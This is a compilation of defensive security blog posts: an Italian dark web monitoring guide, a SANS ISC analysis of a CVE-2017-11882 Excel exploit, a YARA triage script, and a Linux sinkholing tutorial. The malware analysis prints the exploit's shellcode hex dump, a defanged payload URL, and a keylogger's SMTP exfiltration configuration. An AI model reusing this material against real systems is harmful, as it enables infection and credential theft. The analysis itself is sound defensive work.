libreria Stem per Python. Creare uno script che si connette via socks5://127.0.0.1:9050 e scarica contenuti. Esempio di snippet in Python: import requests session = requests.session() session.proxies = {'http': 'socks5h://127.0.0.1:9050', 'https': 'socks5h://127.0.0.1:9050'} url = "http://exampleonionaddress[.]onion" response = session.get(url) print(response.text[:500]) 2. Monitoraggio marketplace e forum Se i crawler servono a raccogliere dati, i forum e i marketplace sono i luoghi dove quei dati vengono messi in circolazione. Qui si trovano credenziali, database, accessi RDP o VPN in vendita, ma anche discussioni che anticipano trend futuri. Per documentare e analizzare in modo strutturato queste fonti esistono strumenti come OnionScan, capace di mappare hidden services e correlare metadata, e Hunchly, utile a conservare prove in maniera forense. Un’altra opzione è Spiderfoot, che permette di automatizzare OSINT e integrare moduli dedicati al Dark Web. Il metodo efficace è definire una lista di parole chiave: domini email aziendali, nomi di brand, prodotti interni. Lo scraper raccoglie i testi, un parser li analizza e li archivia in un database. A quel punto, ogni volta che un termine di interesse appare in un thread, è possibile investigare immediatamente. La difficoltà sta nel distinguere i “fake leak” da annunci reali: molti attori pubblicano campioni incompleti come anche falsi. Serve quindi un processo di validazione, che può includere analisi di hash, confronti con credenziali interne o sandboxing di file sospetti. Strumenti utili: OnionScan: scanner open source per analizzare hidden services. Hunchly: utile per documentare e preservare prove (catena di custodia). Spiderfoot: per automatizzare OSINT, anche su domini .onion. Come impostare un monitoraggio: Definire una lista di keyword (es. nome azienda, dominio email, nomi di prodotto). Usare cronjob o scheduler per eseguire scraping periodico. Salvare contenuti in un database locale per successiva analisi. 3. Feed Dark Web + integrazione CTI Oltre alle attività di raccolta autonoma, esistono feed pubblici e piattaforme di condivisione che forniscono indicatori già arricchiti. MISP e OpenCTI sono due strumenti open source ormai standard in molti SOC, che consentono di centralizzare IoC (indicatori di compromissione), correlare eventi e storicizzare campagne. Integrare i dati del Dark Web in queste piattaforme consente di arricchire le indagini. Lo scenario tipico prevede una pipeline dove: Il crawler scarica pagine .onion. Un parser estrapola email, domini, indirizzi IP, fingerprint PGP. Gli indicatori vengono importati in MISP o OpenCTI. Il SIEM aziendale li usa come lista di correlazione nei log di autenticazione, proxy e firewall. Snippet shell per grep di domini nei dump raccolti: grep -i “example[.]com” darkweb_dumps/*.txt | cut -d: -f1 | sort | uniq 4. Analisi di PGP keys e reti di trust Un aspetto spesso sottovalutato è l’uso delle chiavi PGP nel Dark Web. Molti attori firmano i propri messaggi con la stessa chiave per creare una sorta di reputazione. Collezionare e analizzare queste chiavi consente di correlare identità apparentemente distinte su più forum. Con GPG (GNU Privacy Guard) è possibile importare fingerprint e creare un database locale. A questo punto, è possibile osservare le chiavi utilizzati dai threat actor: se una chiave compare associata a un vendor in due marketplace diversi, vuol dire che si tratta dello stesso attore. Questa informazione è preziosa per analisi di attribution, ma anche per verificare la credibilità di un annuncio di leak. Le reti di fiducia costruite intorno a PGP permettono anche di individuare pattern di collaborazione tra gruppi criminali: incrociando le firme si scoprono spesso alleanze, rivalità o transizioni di identità tra nickname. Come fare: Salvare i fingerprint PGP pubblicati nei forum. Confrontare se la stessa chiave appare su più marketplace. Usare gpg –recv-keys per collezionare chiavi da keyserver pubblici. Caso pratico: Se un venditore usa lo stesso fingerprint PGP in due forum diversi, è probabile che le sue attività siano collegate: informazione preziosa in un’indagine di attribution. 5. Automazione e alerting continuo Il limite principale del monitoraggio manuale è la scalabilità. Un analista può esplorare un forum, ma non centinaia di hidden services contemporaneamente. La soluzione è l’automazione. Un esempio pratico: se una lista di username trapelati viene importata in Splunk, è possibile scrivere una query che correla questi account con tentativi di login falliti o accessi da geografie insolite. Lo stesso vale per indirizzi IP o hash di file malevoli. Anche il monitoraggio del traffico Tor in uscita può fornire insight: non sempre è segno di attività malevola, ma può indicare un comportamento anomalo su endpoint aziendali. Strumenti come Zeek o Suricata consentono di generare alert quando un host interno inizia a comunicare con nodi noti della rete Tor. Integrazione con SIEM: Importare indicatori in Elastic/Splunk. Creare alert per correlare username leaked con login sospetti. Query esempio Splunk: index=auth (user IN [list_user_leaked]) | stats count by user, src_ip Monitoraggio di traffico verso Tor: Bloccare o almeno loggare outbound traffic su porte 9050/9150. Con Suricata/Zeek, rilevare pattern tipici di handshake Tor. Pipeline consigliata (schema): Dark Web crawler → Parser → MISP/OpenCTI → SIEM (alert) → Incident Response Una pipeline efficace prevede un crawler periodico, un parser che normalizza i dati in JSON o CSV, un’integrazione con MISP/OpenCTI e infine l’invio degli IoC al SIEM. A quel punto si possono creare regole di alerting. Conclusione Il Dark Web non è per forza un luogo da cui stare alla larga; in ambito cybersecurity può essere una miniera di dati che possono fare la differenza in un programma di cyber threat intelligence. La chiave è trasformare dati grezzi in intelligence: osservare, raccogliere, arricchire e correlare. In questo modo un potenziale leak diventa un alert concreto in un SIEM, una chiave PGP diventa un collegamento tra due attori, un annuncio di vendita diventa l’inizio di un investigation playbook. L’elemento fondamentale resta la sicurezza: lavorare sempre in ambienti isolati, non interagire direttamente con i criminali e rispettare il quadro legale. Fatto in questo modo, il monitoraggio del Dark Web non è un esercizio accademico, ma uno strumento operativo per difendere in maniera proattiva le infrastrutture aziendali.
blog.8bitsecurity.comOct 2, 2025extracted
CVE-2017-11882 Will Never Die, (Wed, Aug 13th)
One of the key messages broadcasted by security professionals is: "Patch, patch and patch again!". But they are nasty vulnerabilities that remain exploited by attackers even if they are pretty old. CVE-2017-11882 is one of them: this remote code execution affects Microsoft Office and, more precisely, the good old "Equation Editor". This tool was even killed by Microsoft due to numerous security issues[1]. But it still remains used by attackers to spread modern malware. I spotted an interesting file called “urchase_orderp.o_t4787074kronospan_aps.xlam” (no typo, the leading “P” was missing). The file (SHA256:4fe60a82350a24cc0bfeb1a9df86a751cec9b7307035f90b0a08959a16a1fc7c) has a normal VT score (38/68)[2]. These days, it’s less common to see malicious Microsoft Office documents due to the latest rules implemented by Microsoft to make macros activation tricky[3]. Indeed, the file does not contain any VBA macro but an interesting payload: remnux@remnux:~/malwarezoo/20250812$ oledump.py urchase_orderp.o_t4787074kronospan_aps.xlam A: xl/embeddings/wB.WOQMg A1: 3011188 ‘EqUaTIon nATIvE’ A2: 0 ‘umLKsQ5’ Let’s try to find where’s the malicious code! remnux@remnux:~/malwarezoo/20250812$ zipdump.py urchase_orderp.o_t4787074kronospan_aps.xlam Index Filename Encrypted Timestamp 1 [Content_Types].xml 0 2025-08-11 01:43:16 2 _rels/.rels 0 2025-08-11 01:43:16 3 xl/_rels/workbook.xml.rels 0 2025-08-11 01:43:16 4 xl/workbook.xml 0 2025-08-11 01:43:16 5 xl/theme/theme1.xml 0 2025-08-11 01:43:16 6 xl/worksheets/_rels/sheet1.xml.rels 0 2025-08-11 01:43:16 7 xl/worksheets/sheet2.xml 0 2025-08-11 01:43:16 8 xl/worksheets/sheet3.xml 0 2025-08-11 01:43:16 9 xl/worksheets/sheet1.xml 0 2025-08-11 01:43:16 10 xl/sharedStrings.xml 0 2025-08-11 01:43:16 11 xl/styles.xml 0 2025-08-11 01:43:16 12 xl/printerSettings/printerSettings1.bin 0 2025-08-11 01:43:16 13 docProps/core.xml 0 2025-08-11 01:43:16 14 docProps/app.xml 0 2025-08-11 01:43:16 15 xl/drawings/vmlDrawing1.vml 0 2025-08-11 01:43:16 16 xl/embeddings/wB.WOQMg 0 2025-08-11 01:43:16 The file contains three sheets and, in the first one (xl/worksheets/shee1.xml), we find this: In the relationships file, we see this:sha256su It corresponds to the stream 16. This one looks like the exploit with an obfuscated payload: remnux@remnux:~/malwarezoo/20250812$ zipdump.py urchase_orderp.o_t4787074kronospan_aps.xlam -s 16 -d \ oledump.py -s 1 -d | \ xxd | more 00000010: 83ab 023d 8dfa d578 c38b 2408 037e 01eb ...=...x..$..~.. 00000020: 470a 0105 f89b e1ec 0000 0000 0000 0000 G............... 00000030: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000040: 0050 0645 0000 0000 0000 0000 0000 0000 .P.E............ 00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000060: 0029 c344 0000 0000 eb11 81c7 e201 0000 .).D............ 00000070: eb10 e98d 0000 00e9 82eb 42e8 1e00 0000 ..........B..... 00000080: eb1c 8d9f c302 0000 eb10 eb33 e996 0000 ...........3.... 00000090: 0051 59e9 9700 0000 5159 eb68 ebcc 5feb .QY.....QY.h.._. 000000a0: c99c 5157 8d8f 9150 0000 8dbf 1731 0000 ..QW...P.....1.. 000000b0: 81ef f87a 0000 5f59 9deb c7eb adeb 78eb ...z.._Y......x. 000000c0: 76eb 0131 eb3e 3137 ebc2 9c57 5081 c793 v..1.>17...WP... 000000d0: 0c00 008d 8789 2500 0081 efba 0b00 0050 ......%........P 000000e0: 588d b8ca 3e00 0081 c7b1 5c00 002d 8a2f X...>.....\..-./ 000000f0: 0000 585f 9deb 30eb 1ceb 09eb 2aeb c7e9 ..X_..0.....*... 00000100: 75ff ffff 6bf6 0090 69f6 b313 3a7c eb03 u...k...i...:|.. 00000110: 4c43 25eb 04eb a6eb eb81 c689 ad83 5eeb LC%...........^. 00000120: a5eb 0269 66eb 0b83 c704 e95b ffff ffeb ...if......[.... 00000130: c690 e955 ffff ff39 df72 cde9 2201 0000 ...U...9.r.."... 00000140: 167b 3651 a462 b222 29da dca4 bcba 09a1 .{6Q.b.")....... 00000150: fe8d b0b3 51ce ae8a 1a30 852a 06d6 9628 ....Q....0.*...( 00000160: 3f9a 6bf2 bb4b f104 6de9 b735 93e8 32e9 ?.k..K..m..5..2. 00000170: e973 fa5d f0a7 09e0 31d4 0414 74c1 6c34 .s.]....1...t.l4 00000180: 09e7 ea45 01b3 896d 74c4 fc1a ba33 d556 ...E...mt....3.V 00000190: b2c6 cbfd 003d fefb 4787 2c96 740a fba4 .....=..G.,.t... 000001a0: f4e1 30d0 fa17 fbd9 baed 28d5 b219 6f68 ..0.......(...oh 000001b0: de07 a811 ff10 0c5b dfc6 7e2b 8430 c2f7 .......[..~+.0.. 000001c0: 8007 c10e 22f7 c4cc c4e3 bfe4 fc1f 85a1 ...."........... 000001d0: ebb3 0c19 729e b47f 7712 7a55 27b3 44b1 ....r...w.zU'.D. 000001e0: 2cda 1981 fdd5 68c4 0c26 3ec9 16bf 917d ,.....h..&>....} 000001f0: 574e 7997 d46c 73e9 91eb 9e95 da13 ff50 WNy..ls........P 00000200: 7bdb bdab 0830 653f 1735 2703 827e 197e {....0e?.5'..~.~ [...Content Skipped...] 00004e10: 0d0d 0d0d 0d0d 0d0d 0d0d 0d0d 0d0d 0d0d ................ 00004e20: 0d0d 0d0d 0d0d 0d0d 0d0d 0d0d 0d0d 0d4d ...............M 00004e30: 5137 6a5a 3172 3867 766a 4562 6974 4549 Q7jZ1r8gvjEbitEI 00004e40: 7145 5056 4d59 3667 4144 3347 4f78 7231 qEPVMY6gAD3GOxr1 00004e50: 797a 6a6f 6247 5959 7338 3951 6337 6a46 yzjobGYYs89Qc7jF 00004e60: 6231 6c49 4e44 7339 5347 4330 6569 747a b1lINDs9SGC0eitz 00004e70: 6e45 6f30 5871 6662 5a62 4142 784b 5954 nEo0XqfbZbABxKYT 00004e80: 6f6c 5447 4174 7146 3751 444e 466d 4743 olTGAtqF7QDNFmGC 00004e90: 4231 5861 6248 566a 4747 6f48 5541 6b74 B1XabHVjGGoHUAkt 00004ea0: 6964 356e 5345 3373 5273 646f 766e 3058 id5nSE3sRsdovn0X 00004eb0: 5156 5177 6143 3670 4849 6339 3048 4a4e QVQwaC6pHIc90HJN 00004ec0: 636d 374a 3474 5877 686d 7968 5552 4175 cm7J4tXwhmyhURAu 00004ed0: 6f71 7a54 4748 5570 7171 3841 494c 4973 oqzTGHUpqq8AILIs 00004ee0: 6e4d 3644 6d59 4b4c 4147 6d53 684c 6b45 nM6DmYKLAGmShLkE 00004ef0: 6243 6d62 5141 6763 4934 726b 3930 6b46 bCmbQAgcI4rk90kF 00004f00: 5757 5a76 4c71 5230 3856 6154 4d42 6e50 WWZvLqR08VaTMBnP 00004f10: 3569 4a69 7257 6a37 7237 4d4a 4a76 6652 5iJirWj7r7MJJvfR 00004f20: 3551 336f 5a51 7670 7465 7542 4662 4c4c 5Q3oZQvpteuBFbLL 00004f30: 5859 3846 4b30 6645 7239 3946 626c 364c XY8FK0fEr99Fbl6L 00004f40: 6c46 354a 4479 6f68 6873 4878 3847 5177 lF5JDyohhsHx8GQw 00004f50: 4773 6c61 6347 5672 5a4b 6c79 6d41 3472 GslacGVrZKlymA4r 00004f60: 7036 4470 3537 3759 724a 4745 6e6f 3337 p6Dp577YrJGEno37 00004f70: 5770 6b38 5678 4874 466f 6974 646e 6475 Wpk8VxHtFoitdndu 00004f80: 6142 776c 7857 7447 6537 4c4f 3276 496b aBwlxWtGe7LO2vIk 00004f90: 615a 6249 6d6b 3248 436b 5a50 7849 6e4e aZbImk2HCkZPxInN 00004fa0: 4a64 6e57 6172 386d 4b54 3572 6346 386d JdnWar8mKT5rcF8m 00004fb0: 6c47 7256 4548 6e73 6849 7076 554c 6143 lGrVEHnshIpvULaC 00004fc0: 4762 4c57 6e6c 7579 4356 7a32 4b51 6536 GbLWnluyCVz2KQe6 00004fd0: 4b33 3438 6345 6264 3163 3272 345a 3346 K348cEbd1c2r4Z3F 00004fe0: 6b47 3539 4b74 466b 594f 634a 7738 7063 kG59KtFkYOcJw8pc 00004ff0: 5937 6a62 6b45 5451 5371 6962 5166 4552 Y7jbkETQSqibQfER 00005000: 316c 5a6f 7a76 3932 6447 5537 4631 6a45 1lZozv92dGU7F1jE [...Content skipped...] Let's verify that we are indeed facing the Equation Editor exploit. We can easily perform this task with another great Didier's tool, format-bytes.py: remnux@remnux:~/malwarezoo/20250812$ zipdump.py urchase_orderp.o_t4787074kronospan_aps.xlam -s 16 -d | oledump.py -s 1 -d | format-bytes.py -f name=eqn1 1: 1c size of EQNOLEFILEHDR 2: 15c26 3: dc36 4: 197e73f 5: 6f506a2f 6: 3d02ab83 7: 78d5fa8d 8: 8248bc3 9: 3 Start MTEF header 10: 7e 11: 1 12: eb 13: 47 14: a Full size record 15: 1 Line record 16: 5 Font record 17: f8 18: 9b 19: 40 .......... b'e1ec0000000000000000' 0.833805 4caa3635d3c1ebf1bfc9e49745f5649c Shellcode/Command (fontname) 20: 0 21: 0 22: 0 23: 0 Remainder: 3011100 00000000: 00 00 00 00 00 00 00 00 00 29 C3 44 00 00 00 00 .........).D.... 00000010: EB 11 81 C7 E2 01 00 00 EB 10 E9 8D 00 00 00 E9 ................ 00000020: 82 EB 42 E8 1E 00 00 00 EB 1C 8D 9F C3 02 00 00 ..B............. 00000030: EB 10 EB 33 E9 96 00 00 00 51 59 E9 97 00 00 00 ...3.....QY..... 00000040: 51 59 EB 68 EB CC 5F EB C9 9C 51 57 8D 8F 91 50 QY.h.._...QW...P 00000050: 00 00 8D BF 17 31 00 00 81 EF F8 7A 00 00 5F 59 .....1.....z.._Y 00000060: 9D EB C7 EB AD EB 78 EB 76 EB 01 31 EB 3E 31 37 ......x.v..1.>17 00000070: EB C2 9C 57 50 81 C7 93 0C 00 00 8D 87 89 25 00 ...WP.........%. 00000080: 00 81 EF BA 0B 00 00 50 58 8D B8 CA 3E 00 00 81 .......PX...>... 00000090: C7 B1 5C 00 00 2D 8A 2F 00 00 58 5F 9D EB 30 EB ..\..-./..X_..0. 000000A0: 1C EB 09 EB 2A EB C7 E9 75 FF FF FF 6B F6 00 90 ....*...u...k... 000000B0: 69 F6 B3 13 3A 7C EB 03 4C 43 25 EB 04 EB A6 EB i...:|..LC%..... 000000C0: EB 81 C6 89 AD 83 5E EB A5 EB 02 69 66 EB 0B 83 ......^....if... 000000D0: C7 04 E9 5B FF FF FF EB C6 90 E9 55 FF FF FF 39 ...[.......U...9 000000E0: DF 72 CD E9 22 01 00 00 16 7B 36 51 A4 62 B2 22 .r.."....{6Q.b." 000000F0: 29 DA DC A4 BC BA 09 A1 FE 8D B0 B3 51 CE AE 8A )...........Q... 1I: s 0 u 0 2I: sl 0 ul 0 sb 0 ub 0 4I: sl 0 ul 0 sb 0 ub 0 4F: l 0.000000 b 0.000000 4N: b 0.0.0.0 l 0.0.0.0 4E: l 1970/01/01 00:00:00 b 1970/01/01 00:00:00 8I: sl 0 ul 0 sb 0 ub 0 8T: ul 1601/01/01 00:00:00.0000000 ub 1601/01/01 00:00:00.0000000 8F: l 0.000000 b 0.000000 16G: b 00000000-0000-0000-0029-C34400000000 m {00000000-0000-0000-0029-C34400000000} Let's open this file in Excel. That's why I keep a very old (and vulnerable) Microsoft Office Suite in my CAPE sandbox: And indeed: The sample downloaded from hxxp://213[.]209[.]150[.]18/SoNZ984ijTf8DPr.exe is a VIPKeyLogger with the following config: { "rule": "VIPKeylogger", "tags": [ "keylogger", "stealer" ], "family": "vipkeylogger", "credentials": [ { "host": "hosting2[.]ro[.]hostsailor[.]com", "port": 587, "email_to": "[email protected]", "password": " ", "protocol": "smtp", "username": "[email protected]" } ] } The PE file (SHA256:19dac0de92478f91420db6588d40ec9a5115b4a8777cf7ba9dd4ae35059a706d) is a VT score of 49/72[4]. [1] https://support.microsoft.com/en-us/office/equation-editor-6eac7d71-3c74-437b-80d3-c7dea24fdf3f [2] https://www.virustotal.com/gui/file/4fe60a82350a24cc0bfeb1a9df86a751cec9b7307035f90b0a08959a16a1fc7c [3] https://learn.microsoft.com/en-us/microsoft-365-apps/security/internet-macros-blocked [4] https://www.virustotal.com/gui/file/19dac0de92478f91420db6588d40ec9a5115b4a8777cf7ba9dd4ae35059a706d Xavier Mertens (@xme) Xameco Senior ISC Handler - Freelance Cyber Security Consultant PGP Key
isc.sans.eduAug 13, 2025extracted
Triage is Key! Python to the Rescue!, (Tue, Jul 29th)
When you need to quickly analyze a lot of data, there is one critical step to perform: Triage. In forensic investigations, this step is critical because it allows investigators to quickly identify, prioritize, and isolate the most relevant or high value evidence from large volumes of data, ensuring that limited time and resources are focused on artifacts most likely to reveal key facts about an incident. Sometimes, a quick script will be enough to speed up this task. Today, I'm working on a case where I have a directory containing +20.000 mixed files. Amongst them, a lot of ZIP archives (mainly Office documents), containing also lot of files. The idea is to scan all those files (including the ZIP archives) for some keywords. I wrote a quick Python script that will scan all files against the embedded YARA rule and, if a match is found, copy the original file into a destination directory. Here is the script: Quick Python triage script Copy files matching a YARA rule to another directory import yara import os import shutil import zipfile import io YARA rule yara_rule = """ rule case_xxxxxx_search_1 { strings: $s1 = "string1" nocase wide ascii $s2 = "string2" nocase wide ascii $s3 = "string3" nocase wide ascii $s4 = "string4" nocase wide ascii $s5 = "string5" nocase wide ascii condition: any of ($s*) } """ source_dir = "Triage" dest_dir = "MatchedFiles" os.makedirs(dest_dir, exist_ok=True) rules = yara.compile(source=yara_rule) def is_zip_file(filepath): """ Check ZIP archive magic bytes. """ try: with open(filepath, "rb") as f: sig = f.read(4) return sig in (b"PK\x03\x04", b"PK\x05\x06", b"PK\x07\x08") except Exception: return False def safe_extract_path(member_name): """ Returns a safe relative path inside the destination folder (Prevent .. in paths). """ return os.path.normpath(member_name).replace("..", "_") def scan_file(filepath, file_bytes=None, inside_zip=False, zip_name=None, member_name=None): """ Scan a file with YARA. """ try: if file_bytes is not None: matches = rules.match(data=file_bytes) else: matches = rules.match(filepath) if matches: if inside_zip: print("[MATCH] {member_name} (inside {zip_name})") rel_path = os.path.relpath(zip_name, source_dir) filepath = os.path.join(source_dir, rel_path) dest_path = os.path.join(dest_dir, rel_path) else: print("[MATCH] {filepath}") rel_path = os.path.relpath(filepath, source_dir) dest_path = os.path.join(dest_dir, rel_path) # Save a copy os.makedirs(os.path.dirname(dest_path), exist_ok=True) shutil.copy2(filepath, dest_path) except Exception as e: print(e) pass Main for root, dirs, files in os.walk(source_dir): for name in files: filepath = os.path.join(root, name) if is_zip_file(filepath): try: with zipfile.ZipFile(filepath, 'r') as z: for member in z.namelist(): if member.endswith("/"): # Skip directories continue try: file_data = z.read(member) scan_file(member, file_bytes=file_data, inside_zip=True, zip_name=filepath, member_name=member) except Exception: pass except zipfile.BadZipFile: pass else: scan_file(filepath) Now, you can enjoy some coffee while the script does the job: [MATCH] docProps/app.xml (inside Triage\xxxxxxx.xlsx) [MATCH] xl/sharedStrings.xml (inside Triage\xxxxx.xlsx) [MATCH] xl/sharedStrings.xml (inside Triage\xxxxxxxxxxxxxxxxxxxx.xlsx) [MATCH] ppt/slides/slide3.xml (inside Triage\xxxxxxxxxxxxxxxxxxxxxx.pptx) [MATCH] ppt/slides/slide12.xml (inside Triage\xxxxxxxxxxxxxxxxxxxxxx.pptx) [MATCH] ppt/slides/slide14.xml (inside Triage\xxxxxxxxxxxxxxxxxxxxxx.pptx) [MATCH] ppt/slides/slide15.xml (inside Triage\xxxxxxxxxxxxxxxxxxxxxx.pptx) [MATCH] xl/sharedStrings.xml (inside Triage\xxxxxxxx.xlsx) [MATCH] Triage\xxxxxxxxxxxxxxxxxxxxxxx.pdf [MATCH] Triage\xxxxxxxxxxxxxxxxxxx.xls [MATCH] xl/sharedStrings.xml (inside Triage\xxxxxxxxxxxxxxxx.xlsx) [MATCH] Triage\xxxxxxxxxxxxxxxxxxxxxxxxxx.xls You can see that, with a few lines of Python, you can speedup the triage phase in your investigations. Note that the script is written to handle my current files set and is not ready for broader use (lile to handle password-protected archives or other types of archives) Xavier Mertens (@xme) Xameco Senior ISC Handler - Freelance Cyber Security Consultant PGP Key
isc.sans.eduJul 29, 2025extracted
Sinkholing Suspicious Scripts or Executables on Linux, (Fri, Jul 25th)
When you need to analyze some suspicious pieces of code, it's interesting to detonate them in a sandbox. If you don't have a complete sandbox environment available or you just want to avoid generatin noise on your network, why not route the traffic to a sinkhole or NULL-route (read: packets won't be sent across the normal network and default gateway). When you inspect a process using the /proc[1] virtual filesystem, there is a "route" file: remnux@remnux:~$ cat /proc/1180/net/route Iface Destination Gateway Flags RefCnt Use Metric Mask MTU Window IRTT ens19 00000000 01FEA8C0 0003 0 0 100 00000000 0 0 0 ens18 004A10AC 00000000 0001 0 0 0 00FFFFFF 0 0 0 ens19 00FEA8C0 00000000 0001 0 0 0 00FFFFFF 0 0 0 ens19 01FEA8C0 00000000 0005 0 0 100 FFFFFFFF 0 0 0 It displays the IP routing table assigned to this process. Typically, IP addresses are encoded in little-endian hexadecimal values. They can be easily decoded using a few lines of Python: gw = "01FEA8C0" octets = [gw[i:i+2] for i in range(0, len(gw), 2)] ip = '.'.join(str(int(o, 16)) for o in octets) print(ip) # Will return: 1.254.168.192 Does it mean that we could apply a specific routing table to a process? Yes and no... In /proc, the "route" file is read-only. But, Linux is full of features that many people aren't aware of. One of them are namespaces[2]. It's a kernel feature (introduced around 2016 if I remember well) that provides isolation of system resources between processes (a bit like containers). Each namespace type—such as PID, mount, UTS, network, IPC, and user—isolates a specific aspect of the operating system environment. For example, the network namespace gives processes their own network stack, including interfaces and routing tables. Very interesting! Let's try this and run our suscipious script in a dedicated namespace. My suspicious script will be super simple: remnux@remnux:~$ cat sample.sh #!/bin/bash echo "Am I bad?" curl https://isc.sans.edu First example, no network connectivity at all! remnux@remnux:~$ sudo unshare --net bash root@remnux:/home/remnux# ./sample.sh Am I bad? curl: (6) Could not resolve host: isc.sans.edu root@remnux:/home/remnux# ip a 1: lo: mtu 65536 qdisc noop state DOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 root@remnux:/home/remnux# ip r Error: ipv4: FIB table does not exist. Dump terminated root@remnux:/home/remnux# exit remnux@remnux:~$ The unshare command (executed as root) will create a new shell in a new namespace with dropped network settings. When curl is executed, it can't resolve isc.sans.edu nor connect to it. We have a complete network isolation. Second example, let's build a dedicated IP stack that will route packets to another IP address, our synchole. A pair of virtial Ethernet interfaces must be added. In this case, 10.0.0.1 will be the new namespace and 10.0.0.2 the main one. (Note: I'll change the bash prompt to make it clearer) remnux@remnux:~$ sudo unshare --net bash root@remnux:/home/remnux# export PS1="namespace> " namespace> ip link set lo up namespace> ip link add veth0 type veth peer name veth1 namespace> ip link set veth0 up namespace> ip addr add 10.0.0.1/24 dev veth0 namespace> ip a 1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: veth1@veth0: mtu 1500 qdisc noop state DOWN group default qlen 1000 link/ether b6:5c:6e:ed:c3:62 brd ff:ff:ff:ff:ff:ff 3: veth0@veth1: mtu 1500 qdisc noqueue state LOWERLAYERDOWN group default qlen 1000 link/ether 66:72:35:1f:9f:9e brd ff:ff:ff:ff:ff:ff inet 10.0.0.1/24 scope global veth0 valid_lft forever preferred_lft forever namespace> ip link set veth1 netns 1 On the main namespace (your original shell), create the virtual NIC: root@remnux:/home/remnux# ip addr add 10.0.0.2/24 dev veth1 root@remnux:/home/remnux# ip link set veth1 up Back in the new namespace: namespace> ping 10.0.0.2 PING 10.0.0.2 (10.0.0.2) 56(84) bytes of data. 64 bytes from 10.0.0.2: icmp_seq=1 ttl=64 time=0.020 ms 64 bytes from 10.0.0.2: icmp_seq=2 ttl=64 time=0.034 ms ^C --- 10.0.0.2 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1023ms rtt min/avg/max/mdev = 0.020/0.027/0.034/0.007 ms Let's add a default route to the IP in the main namespace: namespace> ip route add default via 10.0.0.2 namespace> ping 8.8.8.8 PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data. ^C --- 8.8.8.8 ping statistics --- 13 packets transmitted, 0 received, 100% packet loss, time 12293ms If we run a tcpdump on veth1, we can now capture all the network connection attempts from the namespace: root@remnux:/home/remnux# tcpdump -i veth1 -n tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on veth1, link-type EN10MB (Ethernet), capture size 262144 bytes 11:02:32.122380 ARP, Request who-has 10.0.0.2 tell 10.0.0.1, length 28 11:02:32.122408 ARP, Reply 10.0.0.2 is-at b6:5c:6e:ed:c3:62, length 28 11:02:32.154271 IP 10.0.0.1 > 8.8.8.8: ICMP echo request, id 18547, seq 6, length 64 11:02:33.178401 IP 10.0.0.1 > 8.8.8.8: ICMP echo request, id 18547, seq 7, length 64 11:02:34.202411 IP 10.0.0.1 > 8.8.8.8: ICMP echo request, id 18547, seq 8, length 64 ^C 5 packets captured 5 packets received by filter 0 packets dropped by kernel Finally, let's verify the routing table of the shell running in the new namespace: namespace> echo $$ 149522 On the main namespace: root@remnux:/home/remnux# cat /proc/149522/net/route Iface Destination Gateway Flags RefCnt Use Metric Mask MTU Window IRTT veth0 00000000 0200000A 0003 0 0 0 00000000 0 0 0 veth0 0000000A 00000000 0001 0 0 0 00FFFFFF 0 0 0 (0x0200000A = 10.0.0.2) Done! The current configuration is very basic and does not provide, amongst others, a DNS. Your sinkholed sample won't be able to resolve FQDN. Also, you could really route the packets by enabling ip_forward and NAT the traffic. WARNING: This is not a bullet-proof solution to perform malware analysis: Only the network traffic was isolated! [1] https://docs.kernel.org/filesystems/proc.html [2] https://en.wikipedia.org/wiki/Linux_namespaces Xavier Mertens (@xme) Xameco Senior ISC Handler - Freelance Cyber Security Consultant PGP Key
isc.sans.eduJul 25, 2025extracted